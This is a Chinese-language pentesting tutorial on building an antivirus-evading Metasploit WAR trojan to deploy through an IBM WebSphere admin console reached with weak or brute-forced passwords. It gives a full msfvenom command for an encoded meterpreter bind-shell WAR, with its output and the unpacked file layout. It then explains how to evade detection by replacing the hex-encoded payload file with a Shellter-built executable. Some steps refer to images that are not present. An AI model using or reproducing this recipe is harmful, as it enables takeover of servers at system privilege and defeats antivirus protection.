导语:在渗透测试中,我们经常会遇到利用弱口令或是爆破管理员账户进入到了Windonws服务器上的Java应用服务器管理后台。
在渗透测试中,我们经常会遇到利用弱口令或是爆破管理员账户进入到了Windonws服务器上的Java应用服务器管理后台。此时,常见的思路就是上传部署一个 Metasploit 生成的 WAR 应用也就是我们常说的 WAR 木马,以此来控制服务器。但经常因为服务器上杀毒软件的存在,从而导致我们无法正常上传 WAR 木马。
那么就让我们来自己动手打造免杀Metasploit WAR 木马吧。下面我们使用 IBM 的 Websphere 应用服务器(WAS)进行演示。WAS 的管理后台一般可以通过 9060/HTTP 或 9043/HTTPS 进行访问:
• http://IP:9060/ibm/console • https://IP:9043/ibm/consoler
注意:因为 WAS 通常是以管理员权限运行的,所以当我们成功上传木马后,我们也就获取到了系统权限。
先让我们使用 msfvenom 生成一个 WAR 文件:
[email protected]:/tmp# msfvenom --platform windows -a x86 -p windows/meterpreter/bind_tcp -ex86/shikata_ga_nai -i 2 LPORT=8484 -f war -o /tmp/OSI.war Found 1compatible encoders Attempting toencode payload with 2 iterations of x86/shikata_ga_nai x86/shikata_ga_naisucceeded with size 326 (iteration=0) x86/shikata_ga_naisucceeded with size 353 (iteration=1) x86/shikata_ga_naichosen with final size 353 Payload size:353 bytes Final size ofwar file: 52278 bytes Saved as:/tmp/OSI.war
不幸的是大多数杀毒软件都能检测出这个文件。那么就让我们来深入挖掘下这个 WAR 文件,看看到底是哪一部分的代码导致被杀毒软件检出的,然后在来看看如何进行免杀。
msfvenom 所生成的 WAR 文件会包含两个文件夹(META-INF 和 WEB-INF)、一个 .txt 文件和一个 .jsp 文件,可以进行如下提取:
[email protected]:/tmp# jar –xvf OSI.war created: META-INF/ inflated: META-INF/MANIFEST.MF created: WEB-INF/ inflated: WEB-INF/web.xml inflated: aprhqsfojqku.jsp inflated: pNJrRWnay.txt
这里的 .jsp 文件只是负责进行十六进制转码的,而真正的 Payload 则是以十六进制编码形式存储在 .txt 文件中。在经过大量的测试后,我们发现杀毒软件主要是基于 .txt 文件进行查杀的,而我们只需要对 .txt 文件进行些许的改动即可实现免杀。
那么开始我们的免杀之旅吧。我们想到思路大概如下,首先使用 Shellter 创建一个可执行文件,随后将这个文件转换成十六进制并替换原先 .txt 文件中的内容,最后上传部署 WAR 应用。那么下面我们先使用 Shellter 注入指定的 Payload 到一个可执行文件中:
下一步就是将这个文件转换成十六进制,并替换原先 .txt 文件中的内容,有很多工具可以实现这个功能,这里我们选择使用 HexConverter 来完成这一任务:
最后就很简单了,上传部署并运行我们修改过后的 WAR 应用就行了:
nice!完工~